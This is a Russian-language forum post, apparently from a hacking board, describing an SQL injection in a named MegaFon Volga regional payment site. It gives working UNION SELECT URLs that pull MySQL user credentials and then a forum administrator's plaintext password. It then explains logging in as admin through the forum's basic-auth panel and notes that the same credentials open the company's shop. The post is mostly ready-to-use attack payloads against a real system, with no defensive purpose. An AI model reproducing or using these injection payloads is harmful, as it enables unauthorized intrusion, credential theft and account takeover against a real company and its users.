Ну вобщем ничего сложного нет, поэтому выкладываю сюда, а там на рассмотрение модеров...
вобщем нашел скулю:
Код:
http://bashkortostan.megafonvolga.ru/payment/dealers/&dtype=2&caid=187+union+select+1,2,concat(user,':',password),4,5,6,7+from+mysql.user/*
я думаю все знают, что это такое, но воспользоваться этим не получится, так как на серваке открыт только 80 порт (HTTP)
увидел, что на серве есть форум (он относится, к всему мегафону поволжья), форум самописный, так, что пришлось воспользоваться интуицией и она меня не подвела:
Код:
http://bashkortostan.megafonvolga.ru/payment/dealers/&dtype=2&caid=187+union+select+1,2,3,4,5,6,7+from+forumusers/*
дальше пришлось подбирать поля, почти во всех подобных таблицах есть поле id, остается только найти префикс (ну или типа этого). Опять же интуиция вкупе с логикой не подвели:
Код:
http://bashkortostan.megafonvolga.ru/payment/dealers/&dtype=2&caid=187+union+select+1,2,fu_id,4,5,6,7+from+forumusers/*
дальше подбирать поля - дело техники и вот конечный результат:
Код:
http://bashkortostan.megafonvolga.ru/payment/dealers/&dtype=2&caid=187+union+select+1,2,concat(fu_name,':',fu_pwd),4,5,6,7+from+forumusers+where+fu_id=1/*
как видим пароль в чистом виде, логинимся на форуме и становимся админами... для того, что б войти в панель админа надо нажать на ссылку
"аватары" вверху появится окно бейсик авторизации, в него вводим эти же логин/пасс и админим форум... все...
ЗЫ еще нашел там таблички:
PPS логин/пароль форума подходит к магазину